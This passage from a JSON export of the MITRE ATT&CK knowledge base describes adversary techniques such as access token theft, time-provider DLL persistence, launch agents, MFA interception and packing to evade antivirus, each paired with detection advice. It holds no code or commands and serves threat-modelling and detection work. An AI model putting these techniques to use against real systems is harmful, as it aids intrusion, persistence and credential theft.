Execution"],"x_mitre_permissions_required":["root"],"type":"attack-pattern","id":"attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211","created":"2020-01-15T16:25:22.260Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1037/004","external_id":"T1037.004"},{"source_name":"Apple Developer Doco Archive Launchd","description":"Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.","url":"https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"},{"source_name":"Startup Items","description":"Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.","url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html"},{"source_name":"Ubuntu Manpage systemd rc","description":"Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021.","url":"http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html"},{"source_name":"IranThreats Kittens Dec 2017","description":"Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.","url":"https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/"},{"source_name":"Methods of Mac Malware Persistence","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"},{"source_name":"intezer-kaiji-malware","description":"Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.","url":"https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/"},{"source_name":"Intezer HiddenWasp Map 2019","description":"Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.","url":"https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-30T21:01:47.762Z","name":"Access Token Manipulation","description":"Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_attack_spec_version":"2.1.0","x_mitre_contributors":["Tom Ueltschi @c_APT_ure","Travis Smith, Tripwire","Robby Winchester, @robwinchester3","Jared Atkinson, @jaredcatkinson"],"x_mitre_deprecated":false,"x_mitre_detection":"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows"],"x_mitre_version":"2.0","x_mitre_data_sources":["Process: OS API Execution","Command: Command Execution","User Account: User Account Metadata","Process: Process Metadata","Process: Process Creation","Active Directory: Active Directory Object Modification"],"x_mitre_defense_bypassed":["Windows User Account Control","Heuristic Detection","System Access Controls","Host Forensic Analysis"],"x_mitre_effective_permissions":["SYSTEM"],"x_mitre_permissions_required":["User","Administrator"],"type":"attack-pattern","id":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1134","external_id":"T1134"},{"source_name":"BlackHat Atkinson Winchester Token Manipulation","description":"Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.","url":"https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf"},{"source_name":"Microsoft Command-line Logging","description":"Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.","url":"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"},{"source_name":"Microsoft LogonUser","description":"Microsoft TechNet. (n.d.). Retrieved April 25, 2017.","url":"https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx"},{"source_name":"Microsoft DuplicateTokenEx","description":"Microsoft TechNet. (n.d.). Retrieved April 25, 2017.","url":"https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx"},{"source_name":"Microsoft ImpersonateLoggedOnUser","description":"Microsoft TechNet. (n.d.). Retrieved April 25, 2017.","url":"https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx"},{"source_name":"Pentestlab Token Manipulation","description":"netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.","url":"https://pentestlab.blog/2017/04/03/token-manipulation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Scott Lundgren, @5twenty9, Carbon Black"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1209","url":"https://attack.mitre.org/techniques/T1209"},{"url":"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top","description":"Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.","source_name":"Microsoft W32Time Feb 2018"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx","description":"Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.","source_name":"Microsoft TimeProvider"},{"url":"https://github.com/scottlundgren/w32time","description":"Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.","source_name":"Github W32Time Oct 2017"},{"url":"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings","description":"Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.","source_name":"Microsoft W32Time May 2017"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"}],"modified":"2020-01-24T16:48:50.715Z","name":"Time Providers","description":"The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-15T16:37:20.612Z","name":"Multi-Factor Authentication Interception","description":"Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.(Citation: Okta Scatter Swine 2022)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["John Lambert, Microsoft Threat Intelligence Center"],"x_mitre_deprecated":false,"x_mitre_detection":"Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nSimilar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_version":"2.1","x_mitre_data_sources":["Driver: Driver Load","Process: OS API Execution","Windows Registry: Windows Registry Key Modification"],"type":"attack-pattern","id":"attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49","created":"2017-05-31T21:31:23.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1111","external_id":"T1111"},{"source_name":"GCN RSA June 2011","description":"Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved September 24, 2018.","url":"https://gcn.com/cybersecurity/2011/06/rsa-confirms-its-tokens-used-in-lockheed-hack/282818/"},{"source_name":"Mandiant M Trends 2011","description":"Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.","url":"https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf"},{"source_name":"Okta Scatter Swine 2022","description":"Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.","url":"https://sec.okta.com/scatterswine"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--dd901512-6e37-4155-943b-453e3777b125","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1159","url":"https://attack.mitre.org/techniques/T1159"},{"url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html","description":"Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.","source_name":"AppleDocs Launch Agent Daemons"},{"url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","source_name":"OSX Keydnap malware"},{"url":"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/","description":"Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.","source_name":"Antiquated Mac Malware"},{"url":"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/","description":"Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.","source_name":"OSX.Dok Malware"},{"url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","source_name":"Sofacy Komplex Trojan"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"},{"url":"https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf","description":"Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.","source_name":"OSX Malware Detection"},{"url":"https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update","description":"Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.","source_name":"OceanLotus for OS X"}],"modified":"2020-01-17T16:52:35.818Z","name":"Launch Agent","description":"Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User","Administrator"],"x_mitre_is_subtechnique":false},{"modified":"2023-03-30T21:01:48.113Z","name":"Software Packing","description":"Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_attack_spec_version":"2.1.0","x_mitre_contributors":["Filip Kafka, ESET"],"x_mitre_deprecated":false,"x_mitre_detection":"Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["macOS","Windows","Linux"],"x_mitre_version":"1.2","x_mitre_data_sources":["File: File Metadata"],"x_mitre_defense_bypassed":["Anti-virus","Heuristic detection","Signature-based detection"],"type":"attack-pattern","id":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","created":"2020-02-05T14:17:46.686Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1027/002","external_id":"T1027.002"},{"source_name":"Awesome Executable Packing","description":"Alexandre D'Hondt. (n.d.). Awesome Executable Packing. Retrieved March 11, 2022.","url":"https://github.com/dhondta/awesome-executable-packing"},{"source_name":"ESET FinFisher Jan 2018","description":"Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-10-03T14:18:34.045Z","name":"Serverless","description":"Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. \n\nOnce compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Script Abuse 2021) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["Awake Security"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.1","x_mitre_data_sources":["Internet Scan: Response Content"],"type":"attack-pattern","id":"attack-pattern--df1bc34d-1634-4c93-b89e-8120994fce77","created":"2022-07-08T12:46:15.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1584/007","external_id":"T1584.007"},{"source_name":"AWS Lambda Redirector","description":"Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved July 8, 2022.","url":"https://blog.xpnsec.com/aws-lambda-redirector/"},{"source_name":"Detecting Command & Control in the Cloud","description":"Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved July 8, 2022.","url":"https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"},{"source_name":"BlackWater Malware Cloudflare Workers","description":"Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses Cloudflare Workers for C2 Communication. Retrieved July 8, 2022.","url":"https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/"},{"source_name":"GWS Apps Script Abuse 2021","description":"Sergiu Gatlan. (2021, February 18). Hackers abuse Google Apps Script to steal credit cards, bypass CSP. Retrieved July 1, 2024.","url":"https://www.bleepingcomputer.com/news/security/hackers-abuse-google-apps-script-to-steal-credit-cards-bypass-csp/#google_vignette"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-16T12:28:21.234Z","name":"Web Protocols","description":"Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_contributors":["TruKno"],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for web traffic to/from known-bad or suspicious domains. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.3","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"type":"attack-pattern","id":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","created":"2020-03-15T16:13:46.151Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1071/001","external_id":"T1071.001"},{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"},{"source_name":"Brazking-Websockets","description":"Shahar Tavor. (n.d.). BrazKing Android Malware Upgraded and Targeting Brazilian Banks. Retrieved March 24, 2023.","url":"https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:43:27.104Z","name":"Visual Basic","description":"Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_version":"1.4","x_mitre_data_sources":["Module: Module Load","Command: Command Execution","Process: Process Creation","Script: Script Execution"],"x_mitre_remote_support":false,"type":"attack-pattern","id":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","created":"2020-03-09T14:29:51.508Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1059/005","external_id":"T1059.005"},{"source_name":"VB .NET Mar 2020","description":".NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020.","url":"https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/"},{"source_name":"Default VBS macros Blocking ","description":"Kellie Eickmeyer. (2022, February 7). Helping users stay safe: Blocking internet macros by default in Office. Retrieved February 7, 2022.","url":"https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805"},{"source_name":"Microsoft VBScript","description":"Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020.","url":"https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)"},{"source_name":"Microsoft VBA","description":"Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020.","url":"https://docs.microsoft.com/office/vba/api/overview/"},{"source_name":"VB Microsoft","description":"Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020.","url":"https://docs.microsoft.com/dotnet/visual-basic/"},{"source_name":"Wikipedia VBA","description":"Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020.","url":"https://en.wikipedia.org/wiki/Visual_Basic_for_Applications"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04","type":"attack-pattern","created":"2020-06-28T22:55:55.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1564.005","url":"https://attack.mitre.org/techniques/T1564/005"},{"source_name":"MalwareTech VFS Nov 2014","url":"https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html","description":"Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 